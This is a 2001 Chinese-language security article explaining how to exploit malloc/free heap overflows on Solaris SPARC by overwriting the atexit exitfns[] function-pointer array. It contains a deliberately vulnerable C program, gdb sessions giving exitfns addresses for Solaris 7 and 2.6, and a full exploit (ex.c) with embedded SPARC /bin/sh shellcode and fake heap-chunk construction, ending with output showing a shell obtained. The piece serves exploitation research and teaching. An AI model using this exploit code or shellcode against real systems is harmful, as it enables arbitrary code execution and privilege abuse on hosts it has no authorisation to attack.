◆ 利用atexit进行heap溢出攻击 作者:warning3 < warning3@nsfocus.com > 主页:http://www.nsfocus.com/ 日期:2001-10-15 在“System V libc malloc/free溢出技术分析” (http://magazine.nsfocus.com/detail.asp?id=1100)一文中,我碰到了一些奇怪的问题, 如果覆盖某些函数的返回地址(保存在堆栈中),有时候好像并不起作用。因此我考虑是不 是可以利用一些不在堆栈中的结构来尝试一下。本文就简单介绍一下,在Solaris下,如何 利用atexit()结构来进行malloc/free heap overflow攻击。 在Solaris 下,atexit()函数的调用原型是: #include int atexit(void (*func)(void)); 这个函数的作用是注册一些函数到一个函数列表中,当调用exit()或者是从main()中返回 的时候,这些注册的函数将被执行。它们被执行的顺序是与注册顺序相反的,也就是说, 后注册的函数先被执行。 在Solaris下,注册的函数指针被保存在一个指针数组exitfns[]里面。这个指针数组大小 为37. 因此,最多可以注册37个函数。不过,它的man手册中却说最多只能注册32个函数。 让我们来看看一个实际的例子。问题程序还是同一个vul.c /* - vul.c - * Simple vulnerable program to demostrate free/malloc heap overflow in * Solaris SPARC. * * by warning3 2001.6.9 */ void vulfunc(char *str) { char *m1, *m2, *m3; m1 = (void *) malloc(1024); m2 = (void *) malloc(2048); strcpy(m1, str); /* overflow */ free(m2); m3 = (void *) malloc(780); /* boom! */ free(m1); free(m3); } int main(int argc, char **argv) { if (argc > 1) vulfunc(argv[1]); else { printf("No enough aruments\n"); exit(0); } } [warning3@ /tmp]> gcc -o /tmp/vul /tmp/vul.c [warning3@ /tmp]> gdb -q /tmp/vul (gdb) b main Breakpoint 1 at 0x10920 (gdb) r Starting program: /tmp/vul (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Breakpoint 1, 0x10920 in main () (gdb) p/x &exitfns $1 = 0xff33bd74 [ 这是exitfns数组的起始地址 ] (gdb) x/8x &exitfns 0xff33bd74 : 0xff3baba8 0x000109f4 0x00000000 0x00000000 0xff33bd84 : 0x00000000 0x00000000 0x00000000 0x00000000 [看得出来,在执行到main函数的时候,exitfns[0]和exitfns[1]已经被占用了。 ] (gdb) x/5i 0x109f4 [这个地址是_fini()函数的地址 ] 0x109f4 <_fini>: save %sp, -96, %sp 0x109f8 <_fini+4>: call 0x10788 <__do_global_dtors_aux> 0x109fc <_fini+8>: nop 0x10a00 <_fini+12>: ret 0x10a04 <_fini+16>: restore 从上面的测试发现,在程序流程执行到main()函数时,atexit()已经被调用了两次。 从下面的代码中看出: 0x1070c <_start>: clr %fp 0x10710 <_start+4>: ld [ %sp + 0x40 ], %l0 0x10714 <_start+8>: add %sp, 0x44, %l1 0x10718 <_start+12>: sub %sp, 0x20, %sp 0x1071c <_start+16>: tst %g1 0x10720 <_start+20>: be 0x10730 <_start+36> 0x10724 <_start+24>: mov %g1, %o0 0x10728 <_start+28>: call 0x20a74 0x1072c <_start+32>: nop 0x10730 <_start+36>: sethi %hi(0x10800), %o0 0x10734 <_start+40>: or %o0, 0x1f4, %o0 ! 0x109f4 <_fini> 0x10738 <_start+44>: call 0x20a74 0x1073c <_start+48>: nop <....> 0x10764 <_start+88>: st %o2, [ %o3 ] 0x10768 <_start+92>: call 0x10914
<....> 这两次调用是在_start函数中执行的,第一次调用atexit可能是为动态链接器注册析 构函数,第二次调用atexit是为程序自身注册析构函数(_fini())。 当程序结束时,这两个函数都会被执行。因此,如果我们可以改变exitfns[0]或者 exitfns[1]的值,那么就可以在exit时执行我们想要的代码。 对于malloc/free溢出来说,只要找到exitfns的地址就可以了。这个地址似乎是相对固定 的,在我测试的Solaris 7(SPARC)下是0xff33bd74,在Solaris 2.6(SPARC)是0xef7a80ac 那就让我们来试一下吧,只要改变ex.c中retloc的地址就可以了: /* * - ex.c - * * exploit for test of free/malloc overflow in Solaris SPARC * * Usages : ./ex [retloc offset] * * * by warning3 2001.10.9 * */ #include #include #include /* exitfns's address is 0xff33bd74 */ #define RETLOC 0xff33bd74 /* default retrun location address (Solaris 7) */ /* #define RETLOC 0xef7a80ac /* default retrun location address (Solaris 2.6) */ #define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */ #define VULPROG "/tmp/vul" char shellcode[] = /* from scz's funny shellcode for * SPARC */ "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\xaa\x1d\x40\x15" "\x81\xc3\xe0\x1c" /* jmp %o7+28 跳过后面的无用数据 */ "\xaa\x1d\x40\x15" "\xaa\x1d\x40\x15" "\xaa\x1d\x40\x15" "\xaa\x1d\x40\x15" /* (retaddr + 32 ) will be overwrote by * (retloc -8) */ /* 普通的shellcode */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; long get_sp(void) { __asm__("mov %sp,%i0"); } /* 用来准确得到shellcode地址,并设法使其对齐 */ long get_shelladdr(long sp_addr, char **arg, char **env) { long retaddr; int i; char plat[256]; char pad = 0, pad1; int env_len, arg_len, len; /* calculate the length of "VULPROG" + argv[] */ for (i = 0, arg_len = 0; arg[i] != NULL; i++) { arg_len += strlen(arg[i]) + 1; } /* calculate the pad nummber . */ pad = 7 - arg_len % 8; printf("shellcode address padding = %d\n", pad); memset(env[0], 'A', pad); env[0][pad] = '\0'; /* get environ length exclude env[0] */ for (i = 1, env_len = 0; env[i] != NULL; i++) { env_len += strlen(env[i]) + 1; } env_len--; /* get platform info */ sysinfo(SI_PLATFORM, plat, 256); len = env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("stack arguments len = %#x(%d)\n", len, len); pad1 = 7 - (len % 8); memset(env[i-1], 'B', pad1); env[i-1][pad1] = '\0'; printf("the padding zeros number = %d\n\n", pad1); pad1=4; /* get the exact shellcode address */ retaddr = sp_addr - pad1/* the trailing zero number */ - strlen(VULPROG) - 1 - strlen(plat) - 1; for (i--; i > 0; i--) retaddr -= strlen(env[i]) + 1; printf("Using RET address = 0x%x\n", retaddr); return retaddr; } /* End of get_shelladdr */ int main(int argc, char **argv) { char buf[2048], fake_chunk[48]; long retaddr, sp_addr = SP; char *arg[24], *env[24]; char padding[64]; char padding1[64]; long retloc = RETLOC; unsigned int *ptr; long overbuflen = 1024; if (argc > 1) retloc += atoi(argv[1]); arg[0] = VULPROG; arg[1] = buf; arg[2] = NULL; memset(fake_chunk, '\xff', sizeof(fake_chunk)); bzero(buf, 2048); memset(buf, 'A', overbuflen); /* 用'A'填满前1024字节 */ memcpy(buf + overbuflen, fake_chunk, sizeof(fake_chunk)); env[0] = padding; /* put padding buffer in env */ env[1] = shellcode; /* put shellcode in env */ env[2] = padding1; /* put padding buffer in env */ env[3] = NULL; /* end of env */ /* get stack bottom address */ if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */ sp_addr = SP - 0x0fbf0000; } /* 得到shellocde的准确地址 */ retaddr = get_shelladdr(sp_addr, arg, env); printf("Using retloc = 0x%x \n", retloc); /* 构造一个假的空闲块 */ ptr = (unsigned int *) fake_chunk; *(ptr + 0) = 0xfffffff9; /* t_s = -8 */ *(ptr + 2) = retaddr; /* t_p */ *(ptr + 8) = retloc - 8; /* t_n */ /* * retaddr + 32 <-- retloc - 8 * retloc - 8 + 8 = retloc <-- retaddr */ /* 将伪造的块拷贝到1024长的缓冲区后面 */ memcpy(buf + overbuflen, fake_chunk, sizeof(fake_chunk)); execve(VULPROG, arg, env); perror("execle"); } /* End of main */ [warning3@ /tmp]> gcc -o ex ex.c .[warning3@ /tmp]> ./ex shellcode address padding = 5 stack arguments len = 0x8a(138) the padding zeros number = 5 Using RET address = 0xffbeff68 Using retloc = 0xff33bd74 $ OK,成功了。 注意,上述的结果是在vul.c被动态编译的情况下。如果静态编译,exitfns的地址会移动 到0x00xxyyzz附近,这时ex.c就不能直接利用它了。 利用exitfns结构的另外一个不利处是当从main()或者exit()返回时,系统可能已经丢弃 了特权。 参考资料: [1]. Pascal Bouchareine , <<__atexit in memory bugs>> http://archives.neohapsis.com/archives/vuln-dev/2000-q4/att-0665/01-heap_atexit.txt <完>